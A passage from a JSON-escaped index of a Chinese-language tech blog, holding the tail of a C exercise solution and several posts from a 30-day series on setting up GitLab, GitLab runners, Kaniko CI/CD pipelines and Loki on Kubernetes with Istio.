\u0026#34;* *\u0026#34;, \u0026#34;* \u0026#34;, \u0026#34;* \u0026#34;, \u0026#34; *\u0026#34;, \u0026#34;* *\u0026#34;, \u0026#34;* *\u0026#34;}, {\u0026#34;* *\u0026#34;, \u0026#34; *\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34; *\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34;*****\u0026#34;}, {\u0026#34;* *\u0026#34;, \u0026#34; *\u0026#34;, \u0026#34;* \u0026#34;, \u0026#34; *\u0026#34;, \u0026#34; *\u0026#34;, \u0026#34; *\u0026#34;, \u0026#34;* *\u0026#34;, \u0026#34; *\u0026#34;, \u0026#34;* *\u0026#34;, \u0026#34; *\u0026#34;}, {\u0026#34;*****\u0026#34;, \u0026#34; *\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34; *\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34; *\u0026#34;, \u0026#34;*****\u0026#34;, \u0026#34; *\u0026#34;}, }; int main() { char s[10]; scanf(\u0026#34;%s\u0026#34;, s); for (int j = 0; j \u0026lt; 5; j++){ for (int i = 0; i \u0026lt; 4; i++){ int d = s[i] - \u0026#39;0\u0026#39;; if (i) printf(\u0026#34; \u0026#34;); printf(\u0026#34;%s\u0026#34;, display[j][d]); } printf(\u0026#34;\\n\u0026#34;); } return 0; } 後記 Afterword # 目前預計會把所有 ITSA 基礎題目都會用 C 語言通通寫過一次，瀏覽次數增加最多的好像都是這樣基礎文章，可能最近碰到開學，學寫程式的人有變多。\n","date":"2022/11/09","externalUrl":null,"permalink":"/posts/itsa-basic-01/","section":"Posts","summary":"題目 Problem # 題目連結：https://etutor2.itsa.org.tw/mod/topics/view.php?id=15902\n","title":"ITSA 基礎題庫 —— 題目01. 矩陣數字顯示","type":"posts"},{"content":"本篇大綱 # 這篇來總結這 30 天學了哪些東西，要怎麼繼續學習 IT/SRE 的相關知識，還有完賽心得。\n內文 # 終於 Day 30 啦！這篇來回顧一下學習了哪些東西：\nDay 02 ~ 04：從基礎架構設定的 OpenStack，規劃網路、安全性群組、Key Pair。 Day 06 ~ 07：快速安裝 Kubernetes Production Cluster 的 Kubespray，新增刪除節點。 Day 08 ~ 12：用實戰了解 Kubernetes 基礎元件運作，組合基本服務。 Day 14 ~ 15：知道基礎元件以後就可以邁向組合 \u0026amp; 方便的 Helm，安裝 \u0026amp; 自訂 Application。 Day 16 ~ 17：Load Balancer External IP 不是只有公有雲的專利，私有雲也可以使用 MetalLB。 Day 18 ~ 22：對內部跟外部的 Service 管理使用了 Istio 作為 Service Mech，回到 OpenStack 網路組合 Istio Ingress，並且跟 Cloudflare 串接 TLS Key。 Day 23：OpenStack 的硬碟可以讓 Persistent Volume 跟隨 Persistent Volume Claim 動態建立。 Day 24 ~ 26：系統的監控服務，Prometheus 儲存 Metric，Loki 儲存 Log，Grafana 作為前端顯示 Dashboard。 Day 27 ~ 29：最後，用 GitLab + Runner 實戰出自動部署 Application。 除了 OpenStack 環境架設跟 Load Balancer 串接以外，其他都是我花了一年學習整理的技術 \u0026amp; 結果，基本具備該有的都有，基礎服務到監控還有 GitLab 自動部署，公司如果想要初期引入這些技術，可以用這個做為基本評估。\n不過這裡我想提點一下，因為這裡我沒有使用 OpenStack，OpenStack 要如何安裝還有網路問題等我也沒有安裝的經驗，還有像是 MetalLB 需要把 ARP 保護關閉才能使用 External IP。如果需要建構 Infrastructure 我個人建議會使用 Proxmox VE，組合 PVE Cluster，裡面的 VM 使用 Cloud Image 作為 Base，也可以達到跟 OpenStack 一樣的效果。\n下一步該怎麼走？ # 先從思維層面的部分講起，可以推薦 https://sre.google 上的書籍，英文電子書都是免費的，可以下載 PDF，能更理解 SRE 需要做哪些事情。DevOps 導入過程會有一定的陣痛期，不是說導入 DevOps 就不會犯錯，重點是如何接受錯誤並改善問題。\n系統監控的部分，蒐集 K8s Cluster Metric 或 Logs 以外，其他設備也有類似的功能，像是 SNMP 跟 Syslog，SNMP 可以紀錄網路設備的上傳下載流量，Syslog 會把設備上的 Log 傳送到指定地方。\n蒐集後再使用 Grafana 把資料圖表化，要追蹤就不需要再一個一個打開設備檢查了，查詢 Grafana 可以先初步理解問題，再去針對設備做追蹤。\n如果你有一點閒錢，你也可以購買 Qwiklabs 的訂閱來跑 GCP 的實作課程，但偶爾會遇到一些 Bug 問題，想要等免費的話可以追蹤 Google Developers Groups Taiwan 粉絲專頁，每次 Study Jam 都會有免費的一個月 Subscription，做完指定任務也有禮物，可以說是「摸蛤仔兼洗褲」。\nGitLab CI/CD 需要做導入的話，就要想能帶來的效益，手動整合部署跟自動整合部署相比下來，一開始後者花的時間會比較多，需要把流程思考整理，但只要撐過去，這種日常工作就不需要去煩惱，可以去專注完成其他事情。\n程式語言的部分，可以考慮用 Go，因為 Kubernetes 就是 Based on Go，想要做 Web 端整合變成 Control Plane，用 Go 作為後端去跟 K8s API 串接較為容易。\n資訊安全的部分，記得定期更新 K8s 版本，K8s 逐漸變為趨勢的同時，意味著攻擊的相關程式會越來越多，隨時注意資安動向和 CVE 相關資訊，落實 Security 在日常當中，保留這樣的 Concept 很重要。\n完賽心得 # 這樣參賽下來，真的要給每個鐵人賽完成 30 天 Respect，參加鐵人賽是真的很累，這裡每一篇看到的內容，都是這段期間熬夜換來的，做出成果只是有個 PoC (Proof of Concept)，接下來要去寫出來做為教學，就需要注意前後有沒有矛盾，或者容易搞混的概念，一篇文章 10 分鐘滑過去差不多就需要用 10 小時來完成。\n文章基本上也不算是當天寫完，存量維持在 4 ~ 5 天左右，保留可以校稿的時間，尤其我對於品質要有一定的要求，自己當天寫品質不會好到哪裡去，趕稿當中一定會出差錯，希望我寫的教學文章品質不要是參差不齊，有機會我再用 Blog 跟大家聊聊鐵人賽的一些想法。\n《關於我怎麼把一年內學到的新手 ITSRE 濃縮到 30 天筆記這檔事》系列就到這裡結束了，感謝各位看到這裡，如果有照著步驟碰到問題，或者你把它完成，歡迎留言給我讓我知道。\n歡迎用 RSS 追蹤我的 Blog https://blog.yangjerry.tw，我的 Instagram 帳號 @tico88612，我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934，我是梯口 a.k.a tico88612，我們有緣再見！\n","date":"2022/10/15","externalUrl":null,"permalink":"/posts/it2022-day30/","section":"Posts","summary":"本篇大綱 # 這篇來總結這 30 天學了哪些東西，要怎麼繼續學習 IT/SRE 的相關知識，還有完賽心得。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 30 完賽宣言 - 下一步該如何走？","type":"posts"},{"content":"","date":"2022/10/15","externalUrl":null,"permalink":"/tags/gitlab/","section":"Tags","summary":"","title":"Gitlab","type":"tags"},{"content":"","date":"2022/10/15","externalUrl":null,"permalink":"/tags/sre/","section":"Tags","summary":"","title":"Sre","type":"tags"},{"content":"本篇大綱 # 今天要用 Kaniko 製作 Docker Image 上傳到自己的 GitLab Registry，上傳以後再執行部署命令到 Kubernetes。\n內文 # 今天來要使用 Kaniko 跑在 Kubernetes executor 來製作 Docker Image，製作完成 Image 以後再部署到 Kubernetes 上，製作開發的流水線。\n規劃＆設計 # 這次 Lab 我會使用 Nginx + HTML 作為 Docker Image，用 Deployment \u0026amp; Service 建立 Backend，透過 Istio 的 VirtualService 對應進去。\n建立 Docker Image 的部分會使用 Kubernetes executor，採用 unprivileged container 的 Kaniko 幫忙 Build Image。\n部署的部分會採用 Shell executor，Shell executor 上一篇也確認使用 kubectl 是沒有問題的。\n為什麼要 Kaniko？Docker in Docker 不好嗎？ # Google 搜尋 Container Privilege 就會找到 Trend Micro 的相關文章，當中就有提到 --privileged=true 會讓所有隔離功能都停用，可以看到 Host 上所有的硬體設備（E.g. 硬碟），可以執行 mount 指令。\n之前有追蹤 NAS 的使用者 FB 群組，有一家受害者被入侵 Quick Connect，資料全都被加密，但實際上該使用者在開啟某個 Docker Container 時候，照著某個影片教學把 Privileged 權限打開了，被入侵的前夕出現了國外的連線紀錄，這件事告訴我們，對於 Privileged Container 真的要謹慎應對，不要隨意給予 Privileged 權限。\nDocker Build Image 的時候會需要 --privileged=true 的權限，這樣其實不太好，最近 Google 推出 Kaniko 迴避掉 privileged 的部分，不需要額外權限給予 Container，對於安全提升一部分保障。\nKaniko 建立 Image 上傳到 GitLab Registry # 這裡仿照 GitLab 官方對於 Kaniko 的示範教學套用：\nbuild-image: stage: build rules: - if: $CI_COMMIT_TAG # 如果有打上 Git Tag 則開始跑此 Job image: name: gcr.io/kaniko-project/executor:v1.9.0-debug entrypoint: [\u0026#34;\u0026#34;] # 把原本的 Entrypoint 清掉 script: - /kaniko/executor --context \u0026#34;${CI_PROJECT_DIR}\u0026#34; --dockerfile \u0026#34;${CI_PROJECT_DIR}/Dockerfile\u0026#34; --destination \u0026#34;${CI_REGISTRY_IMAGE}:${CI_COMMIT_TAG}\u0026#34; --destination \u0026#34;${CI_REGISTRY_IMAGE}:latest\u0026#34; 這裡代表的就是要套用 Git Tag 才會跑這個 Job，/kaniko/executor 就是讓 Docker image 可以 Build 的命令，建立 Image 成功後直接上傳到 GitLab Registry，Destination 可以用版本號碼或者 Latest。\nShell executor 部署 Application 到 Kubernetes # 筆者會事先寫好 YAML 檔在 deploy/ 資料夾裡面，直接用 Apply 就可以（Application 變複雜以後可以改用 Helm Chart 部署），Apply 之後再 Set Image 給 Deployment。\ndeploy-app: stage: deploy needs: - build-image # 要先跑完 build-image 這個 Job 才能執行此動作 when: manual # 手動按下部署 rules: - if: $CI_COMMIT_TAG # 如果有打上 Git Tag 則開始跑此 Runner tags: - shell script: - kubectl apply -f deploy/ -n production - kubectl set image -n production deploy my-application web-app=${CI_REGISTRY_IMAGE}:${CI_COMMIT_TAG} --record - sleep 10 # 等待一下 10 秒 - kubectl get pod -n production # 列出 Pod 資訊在 Log 上確保是 Running 這裡把部署作為手動，確認版本沒有問題就可以部署上去。\n組合結果 # 那我們就可以把上面的想法組合起來，變成這樣：\nstages: - build - deploy build-image: stage: build rules: - if: $CI_COMMIT_TAG image: name: gcr.io/kaniko-project/executor:v1.9.0-debug entrypoint: [\u0026#34;\u0026#34;] script: - /kaniko/executor --context \u0026#34;${CI_PROJECT_DIR}\u0026#34; --dockerfile \u0026#34;${CI_PROJECT_DIR}/Dockerfile\u0026#34; --destination \u0026#34;${CI_REGISTRY_IMAGE}:${CI_COMMIT_TAG}\u0026#34; --destination \u0026#34;${CI_REGISTRY_IMAGE}:latest\u0026#34; deploy-app: stage: deploy needs: - build-image when: manual rules: - if: $CI_COMMIT_TAG tags: - shell script: - kubectl apply -f deploy/ -n production - kubectl set image -n production deploy my-application web-app=${CI_REGISTRY_IMAGE}:${CI_COMMIT_TAG} --record - sleep 10 - kubectl get pod -n production 等等把上面檔案儲存為 .gitlab-ci.yml，接下來就開始實戰 CI/CD。\n實戰 CI/CD # 建立專案，把 Visibility Level 設定為 Public，不然到時侯 Registry 要拉 Image 需要有權限，需要設定相關的 Image Pull Secret，這裡節省篇幅直接使用 Public。\n專案樹狀圖：\n. ├── deploy │ ├── deployment.yaml │ ├── service.yaml │ └── virtualservice.yaml ├── Dockerfile ├── .gitlab-ci.yml ├── README.md └── src └── index.html src/index.html 的內容：\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;This is my application\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;version: v0.0.1\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Dockerfile 的內容：\nFROM nginx:1.22 COPY src /usr/share/nginx/html deploy/deployment.yaml 的內容：\napiVersion: apps/v1 kind: Deployment metadata: name: my-application labels: app: web spec: replicas: 1 selector: matchLabels: app: web template: metadata: labels: app: web spec: containers: - name: web-app image: registry.yjerry.tw/tico88612/my-application:latest ports: - containerPort: 80 deploy/service.yaml 的內容：\napiVersion: v1 kind: Service metadata: name: my-application labels: app: web spec: type: ClusterIP selector: app: web ports: - protocol: TCP port: 80 targetPort: 80 deploy/virtualservice.yaml 的內容：\napiVersion: networking.istio.io/v1beta1 kind: VirtualService metadata: name: my-application-vs labels: app: web spec: hosts: - myapp.yjerry.tw gateways: - istio-ingress/my-ingressgateway http: - name: \u0026#34;web\u0026#34; route: - destination: host: my-application port: number: 80 接下來就把檔案加入 Commit + Tag 並上傳\ngit add . git commit -m \u0026#34;Initial Commit\u0026#34; git tag v0.0.1 git push origin v0.0.1 Push Tag 完成以後就會開始跑 Job，跑到 Stage: deploy 的時候就會停下來，那就按下繼續。\n就會看到已經更改完成了！\n設定好 DNS 就可以開網頁來瀏覽服務是否成功。\n這樣就簡單做完基礎的流水線了，是不是很棒呢？開發完的程式直接流水線部署在自己的基礎設施上。\n明天就邁入 30 天發文的最後一天了，來做個總結跟未來探索路線吧！\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://blog.trendmicro.com.tw/?p=62986 https://docs.gitlab.com/ee/ci/docker/using_kaniko.html ","date":"2022/10/14","externalUrl":null,"permalink":"/posts/it2022-day29/","section":"Posts","summary":"本篇大綱 # 今天要用 Kaniko 製作 Docker Image 上傳到自己的 GitLab Registry，上傳以後再執行部署命令到 Kubernetes。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 29 GitLab CI/CD - 上傳 GitLab Registry 再部署到 Kubernetes","type":"posts"},{"content":"","date":"2022/10/14","externalUrl":null,"permalink":"/tags/gitlab-ci/","section":"Tags","summary":"","title":"Gitlab-Ci","type":"tags"},{"content":"","date":"2022/10/14","externalUrl":null,"permalink":"/tags/kaniko/","section":"Tags","summary":"","title":"Kaniko","type":"tags"},{"content":"","date":"2022/10/14","externalUrl":null,"permalink":"/tags/runner/","section":"Tags","summary":"","title":"Runner","type":"tags"},{"content":"本篇大綱 # 今天要來介紹 GitLab 最大的功能，也就是 Runner，安裝 Shell executor 以後，講解一下 Kubernetes executor 跟 Shell executor 之間差異，並且分配工作給指定 Runner。\n內文 # 這邊有兩個 Runner 需要講解，一個是 Kubernetes executor，另一個是 Shell executor，但在那之前，我們先來安裝 Shell executor 在 gitlab-runner 上。\n安裝 Shell executor 在 gitlab-runner 上 # 點到 Admin \u0026gt; Overview \u0026gt; Runners 有個 Register an instance runner\n久違來連線一下快被遺忘的 gitlab-runner\n輸入上面的 Download and install binary 再到 Command to register runner\n到 Command to register runner 會有一連串的問題詢問：\nEnter the GitLab instance URL：（直接按下 Enter）https://gitlab.yjerry.tw Enter the registration token：（直接按下 Enter）你的 Token Enter a description for the runner：gitlab-shell-runner Enter tags for the runner (comma-separated)：shell Enter an executor：shell 輸入完後面就會顯示：\nRunner registered successfully. Feel free to start it, but if it\u0026#39;s running already the config should be automatically reloaded! Configuration (with the authentication token) was saved in \u0026#34;/etc/gitlab-runner/config.toml\u0026#34; gitlab-runner 上安裝 kubectl \u0026amp; Helm # 借一下 Day06 的 Script 來安裝 kubectl\ncurl -LO \u0026#34;https://dl.k8s.io/release/v1.23.7/bin/linux/amd64/kubectl\u0026#34; curl -LO \u0026#34;https://dl.k8s.io/v1.23.7/bin/linux/amd64/kubectl.sha256\u0026#34; echo \u0026#34;$(cat kubectl.sha256) kubectl\u0026#34; | sha256sum --check # Check OK 就可以安裝 sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl # 刪除安裝的殘餘檔案 rm kubectl* 把 bastion-host 的 .kube/config 放到 /home/gitlab-runner/.kube/config，這部分就各位自行想辦法處理，相信使用 sudo su 搭配 mv 還有 chmod 應該不會太困難。\nubuntu@gitlab-runner:~$ sudo su root@gitlab-runner:/home/ubuntu# mkdir -p /home/gitlab-runner/.kube root@gitlab-runner:/home/ubuntu# mv config /home/gitlab-runner/.kube root@gitlab-runner:/home/ubuntu# cd /home/gitlab-runner root@gitlab-runner:/home/gitlab-runner# chown -R gitlab-runner:gitlab-runner .kube root@gitlab-runner:/home/ubuntu# exit 那這樣接好以後，就可以嘗試在 Shell Runner 上跑跑看 kubectl。\n建立 cicd-playground # 那就可以來建立新專案在 GitLab 上，點一下 Create project\n建立好 Project 以後，就點到 CI/CD \u0026gt; Editor\n就可以來 Configure pipeline\n下面的範例內容貼上去：\nstages: # List of stages for jobs, and their order of execution - build - test - deploy build-job: # This job runs in the build stage, which runs first. stage: build script: - echo \u0026#34;Compiling the code...\u0026#34; - echo \u0026#34;Compile complete.\u0026#34; unit-test-job: # This job runs in the test stage. stage: test # It only starts when the job in the build stage completes successfully. script: - echo \u0026#34;Running unit tests... This will take about 60 seconds.\u0026#34; - sleep 60 - echo \u0026#34;Code coverage is 90%\u0026#34; lint-test-job: # This job also runs in the test stage. stage: test # It can run at the same time as unit-test-job (in parallel). script: - echo \u0026#34;Linting code... This will take about 10 seconds.\u0026#34; - sleep 10 - echo \u0026#34;No lint issues found.\u0026#34; deploy-job: # This job runs in the deploy stage. stage: deploy # It only runs when *both* jobs in the test stage complete successfully. tags: - shell environment: production script: - echo \u0026#34;Deploying application...\u0026#34; - kubectl get node - echo \u0026#34;Application successfully deployed.\u0026#34; 看到 deploy-job 的時候，就會發現有出錯。\n點進去下面那個連結，裡面說明有句話這樣寫：A common failure is when you have a .bash_logout that tries to clear the console.\n也就是說 .bash_logout 會嘗試把 Console 的輸出給清空，這是為了安全所做的，但是在 GitLab Shell Runner 造成了阻礙，因此需要把它移除。\nroot@gitlab-runner:/home/gitlab-runner# rm .bash_logout 設定完以後，就讓 Job Retry。\nJob Retry 以後就 Passed，也證明 Shell Runner 可以連線到 K8s 上了。\n接下來就來說說 Shell Runner 跟 K8s Runner 的差異吧！\nShell executor # Shell executor 顧名思義就是跑在 Shell 上，也就是在 Local 端，Host 本身就要安裝 Build 時候要跑的相關內容，不然系統會無法執行。\n但沒辦法像 Docker 或 Kubernetes executor 區隔環境，編譯＆測試就無法給它，剩下一個就是部署的部分，設定好部署的相關環境（E.g. kubectl）就可以執行。\nKubernetes executor # Kubernetes executor 就是跑在 K8s 上的 Runner，Runner 會常駐在 K8s Cluster 裡面，會去看看 GitLab 本身有沒有要排的 Job，如果有就呼叫 Kubernetes API 去建立 Pod 還有對應的資源執行 Jobs。\n這個是 Kubernetes executor 執行的狀態：\n看到裡面就會寫 Pod 的執行狀態，看看系統是不是在 Running。\n大致流程圖會是這樣：\n不過 Kubernetes executor 會有個需要注意的點，因為 Container 沒有打開 Privileged container，部署是不能使用 Docker 去 Build，需要使用 Unprivileged 的 Kaniko 來建立 Docker Image。\n下一篇就是要來實戰 Registry 搭配 CI/CD 一起搭配完成部署了。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://docs.gitlab.com/runner/shells/#shell-profile-loading https://docs.gitlab.com/runner/executors/kubernetes.html ","date":"2022/10/13","externalUrl":null,"permalink":"/posts/it2022-day28/","section":"Posts","summary":"本篇大綱 # 今天要來介紹 GitLab 最大的功能，也就是 Runner，安裝 Shell executor 以後，講解一下 Kubernetes executor 跟 Shell executor 之間差異，並且分配工作給指定 Runner。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 28 GitLab Runner - 安裝起來分配工作吧！","type":"posts"},{"content":"本篇大綱 # 程式版本控管平台，私有雲做最大的就是 GitLab 了，今天來安裝私有雲 GitLab 吧！\n內文 # （本篇內容很多，需要了解前面的東西做安裝會比較好）\n這篇終於進到了 GitLab，不過在這之前，我們要先把 Port 22 打開才能使用 GitLab SSH 功能\nIstio Gateway 打開 TCP Port 22 # 根據之前 Day 19 的教學，使用了預設 values 作為安裝，但今天要打開 TCP Port 22，必須對 values 做一些編輯。\n那就先把 Istio Gateway 的 values 拿出來做編輯：\nhelm show values istio/gateway \u0026gt; gateway-values.yaml vim gateway-values.yaml 拉到 .service，就會找到這裡對外 Expose 出去的 Port\nservice: # Type of service. Set to \u0026#34;None\u0026#34; to disable the service entirely type: LoadBalancer ports: - name: status-port port: 15021 protocol: TCP targetPort: 15021 - name: http2 port: 80 protocol: TCP targetPort: 80 - name: https port: 443 protocol: TCP targetPort: 443 annotations: {} loadBalancerIP: \u0026#34;\u0026#34; loadBalancerSourceRanges: [] externalTrafficPolicy: \u0026#34;\u0026#34; externalIPs: [] .service.ports 加入 SSH 的資料\nservice: # Type of service. Set to \u0026#34;None\u0026#34; to disable the service entirely type: LoadBalancer ports: - name: status-port port: 15021 protocol: TCP targetPort: 15021 - name: http2 port: 80 protocol: TCP targetPort: 80 - name: https port: 443 protocol: TCP targetPort: 443 - name: ssh port: 22 protocol: TCP targetPort: 22 annotations: {} loadBalancerIP: \u0026#34;\u0026#34; loadBalancerSourceRanges: [] externalTrafficPolicy: \u0026#34;\u0026#34; externalIPs: [] 編輯完成以後，需要把原本的 Release 解除安裝嗎？其實不用，可以直接用 upgrade 更新它：\nhelm upgrade -f gateway-values.yaml istio-ingressgateway istio/gateway -n istio-ingress 確認一下 Service 的 NodePort 是多少：\nkubectl get svc -n istio-ingress 確認 SSH Port 是開在 NodePort 31324，那就可以仿照 Day 21 設定 SSH Member\nOpenStack Load Balancer 建立監聽器＆成員 # cd # 回 Home source openstack-client/bin/activate # 虛擬環境 openstack-client 打開 openstack loadbalancer pool create --name \u0026#34;SSH Member\u0026#34; --loadbalancer \u0026#34;Istio ingress\u0026#34; --protocol TCP --lb-algorithm SOURCE_IP_PORT --os-cloud=openstack # 建立 SSH Service 的成員 加入 SSH Member 寫上 31324。\n建立監控器，不用建立資源池。\n再次編輯監聽器，設定預設資源池到 SSH Member。\n這樣就設定完成 SSH 的部分了，等等來設定 VirtualService 跟 Gateway 的部分，先來安裝 GitLab。\n安裝 GitLab # 按照往常慣例加入 GitLab 官方的 Chart repo：\nhelm repo add gitlab https://charts.gitlab.io/ helm repo update 把預設 Values 檔案倒出來，目前最新版本 GitLab Version 為 15.4.2，對應 Chart Version 為 6.4.2：\nhelm show values gitlab/gitlab --version 6.4.2 \u0026gt; values.yaml vim values.yaml 這邊要設定幾個參數：\n.global.hosts.domain 設定為 yjerry.tw。（到時候服務都會變成 gitlab.yjerry.tw 或者 registry.yjerry.tw，網址請自行設定） .global.appConfig.cron_jobs 把部分工作解除註解，可以自動做 Housekeeping 跟一些 Work，下面也有 LDAP 自動同步工作，有需要也可以打開。 .global.appConfig.ldap 就是 LDAP 相關設定了，有需要可以自行設定。 .global.smtp 這部分是 GitLab 寄信的部分，需要可以自行設定。 .global.time_zone 設定為 Asia/Taipei。 到 .upgradeCheck 下方有個被註解的 .certmanager-issuer.email 要把自己的 Email 填寫上去，不然安裝不會給過。 .nginx-ingress.enabled 設定 false，因為我們有 istio 了，不需要再設定 Nginx。 .prometheus.install 跟 .prometheus.rbac.create 也設定 false。 .gitlab-runner.runners.config 可以改為 ubuntu:22.04 或其他版本，個人覺得 18.04 太舊了。 .certmanager 都改為 false 了，短時間暫時測不出 ACME Challenge，以後會再測試，這邊會使用 Certbot 的 ACME Challenge 給的 Wildcard。（無法沿用 Cloudflare 的憑證是因為那只是 Cloudflare 的 CA 憑證，直接對外會顯示不安全，通過 Cloudflare 也會有上傳流量限制 100MB） 除了這些以外，其實還有 Persistent Volume Claim 還沒做設定，需要給 StorageClass 才會自動分配 PV 給系統。\n.postgresql 裡面加入 persistence 設定，加入 StorageClass，也就是 .postgresql.persistence：\npostgresql: # ... persistence: enabled: true size: 8Gi storageClass: csi-cinder-sc-retain .redis 裡面加入 master 設定，加入 StorageClass，也就是 .redis.master：\nredis: # ... master: persistence: enabled: true size: 8Gi storageClass: csi-cinder-sc-retain 檔案裡面找地方加 .minio 設定，加入 StorageClass，也就是 .minio：\nminio: persistence: enabled: true size: 10Gi storageClass: csi-cinder-sc-retain .gitlab 裡面 gitaly 解除註解，加入 StorageClass 設定，也就是 .gitlab.gitaly：\ngitlab: toolbox: # ... webservice: # ... gitaly: persistence: enabled: true storageClass: csi-cinder-sc-retain accessMode: ReadWriteOnce size: 40Gi .gitlab 裡面 webservice 解除註解，加入 StorageClass 設定，也就是 .gitlab.webservice：\ngitlab: toolbox: # ... webservice: enabled: true deployments: default: ingress: path: / hpa: minReplicas: 1 tolerations: - key: node-role.kubernetes.io/master # 將 Pod 分配進 Master Node operator: Exists effect: NoSchedule 為什麼要這樣設定？因為筆者在測試的時候，發現 Worker Node 記憶體 Request 不足，導致無法分配 Pod 進去 Worker Node，看了看 Master Node 記憶體還可以，就分配給 Master Node 了。\nhpa 設定為 1 個，原本為 2 個可以做 Failover，測試用的這樣也夠了。\n編輯完以後，就可以 Install 進去：\nkubectl create ns gitlab helm install -f values.yaml gitlab gitlab/gitlab --version 6.4.2 -n gitlab --timeout 600s 這裡我會額外建立 Gateway 處理 GitLab 的 Route 做區分，要跟之前設定合併也是可以，這裡的 credentialName 是筆者自己用 Certbot 做 wildcard 的 key 再傳到 K8s Secret 上。\n# 1. Save as `gitlab-ingressgateway.yaml` # 2. In bash, `kubectl apply -f gitlab-ingressgateway.yaml` # 3. If you want to remove, `kubectl delete -f gitlab-ingressgateway.yaml` apiVersion: networking.istio.io/v1beta1 kind: Gateway metadata: name: gitlab-ingressgateway namespace: istio-ingress spec: selector: istio: ingressgateway servers: - port: number: 22 name: ssh protocol: TCP hosts: - gitlab.yjerry.tw - port: number: 80 name: http2 protocol: HTTP2 hosts: - gitlab.yjerry.tw - registry.yjerry.tw - kas.yjerry.tw tls: httpsRedirect: true - port: number: 443 name: https-443 protocol: HTTPS hosts: - gitlab.yjerry.tw - registry.yjerry.tw - kas.yjerry.tw tls: mode: SIMPLE credentialName: certbot-yjerry-tw # 自行取得 Wildcard 憑證放上來 因為 Helm Chart 是使用 K8s 內建的 Ingress，可以根據 Ingress 給的內容來設定 VirtualService：\nkubectl get ingress -n gitlab 拿一下 gitlab-webservice-default 的內容\nkubectl edit ing gitlab-webservice-default -n gitlab 往裡面看 .spec 的內容，可以知道 Backend 內容是 gitlab-webservice-default:8181。\n那就可以寫出相對應的 VirtualService，那因為也有 SSH 的服務，就也順便寫上去。\n# 1. Save as `gitlab-vs.yaml` # 2. In bash, `kubectl apply -f gitlab-vs.yaml` # 3. If you want to remove, `kubectl delete -f gitlab-vs.yaml` apiVersion: networking.istio.io/v1beta1 kind: VirtualService metadata: name: gitlab-vs namespace: gitlab spec: hosts: - gitlab.yjerry.tw gateways: - istio-ingress/gitlab-ingressgateway http: - name: \u0026#34;gitlab\u0026#34; match: - uri: prefix: \u0026#34;/\u0026#34; route: - destination: host: gitlab-webservice-default port: number: 8181 tcp: - match: - port: 22 route: - destination: host: gitlab-gitlab-shell port: number: 22 還有拿一下 gitlab-registry 的內容\nkubectl edit ing gitlab-registry -n gitlab 往裡面看 .spec 的內容，可以知道 Backend 內容是 gitlab-registry:5000。\n那就可以寫出相對應的 VirtualService，Registry 的部分。\n# 1. Save as `registry-vs.yaml` # 2. In bash, `kubectl apply -f registry-vs.yaml` # 3. If you want to remove, `kubectl delete -f registry-vs.yaml` apiVersion: networking.istio.io/v1beta1 kind: VirtualService metadata: name: registry-vs namespace: gitlab spec: hosts: - registry.yjerry.tw gateways: - istio-ingress/gitlab-ingressgateway http: - name: \u0026#34;registry\u0026#34; match: - uri: prefix: \u0026#34;/\u0026#34; route: - destination: host: gitlab-registry port: number: 5000 就把上面的設定檔 Apply 進去，DNS 不用經過 Cloudflare，只要「僅 DNS」就好，不然會被吃限制 100 MB 上傳，Registry 會無法上傳。\n確認沒問題以後就可以連線 https://gitlab.yjerry.tw\n到了這裡以後，預設密碼呢？其實已經在 Secret 裡面了，只是要把它顯示出來，Username 為 root，密碼用下列命令印出來。\nkubectl get secret -n gitlab gitlab-gitlab-initial-root-password -o jsonpath={.data.password} | base64 --decode 這樣就可以進去了，不想開放記得把 Sign up 關閉。\n下一篇要來設定 Runner，雖然裡面已經有個 K8s Runner，但我們還需要 Shell Runner 來做事，同時也來說說兩者差異。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://docs.gitlab.com/charts/charts/gitlab/ ","date":"2022/10/12","externalUrl":null,"permalink":"/posts/it2022-day27/","section":"Posts","summary":"本篇大綱 # 程式版本控管平台，私有雲做最大的就是 GitLab 了，今天來安裝私有雲 GitLab 吧！\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 27 GitLab - 私有雲最好用的 Git Server","type":"posts"},{"content":"本篇大綱 # 這篇要來介紹 Log 儲存，基於 Time Series 的 Log 儲存系統，安裝在 K8s 上並且跟 Grafana 串起來。\n內文 # 今天會採用的是 Grafana Labs 開發的 Loki，這是基於 Time series 的 Log 儲存系統，會接上 Promtail 蒐集每個 Container 的 Log，傳送到 Loki 做儲存。\n安裝 Loki # 按照往常慣例先加入 Grafana 的 Repo：\nhelm repo add grafana https://grafana.github.io/helm-charts helm repo update 加入好了以後，這次會使用 loki-stack 這個 Chart 2.8.3 版本，最基礎的蒐集 Log 也有在裡面了，loki-distributed 是微服務版本，需要去細分他們的 Write flow 跟 Read flow，有需求的可以讀文件。\n那 loki-stack 就是 Monolithic mode 版本，不過小型這樣也夠了，有需要再去換成 loki-distributed 就好。\n那就把 loki-stack value 抓下來吧！\nhelm show values grafana/loki-stack --version 2.8.3 \u0026gt; values.yaml vim values.yaml 看一下裡面的內容，確認 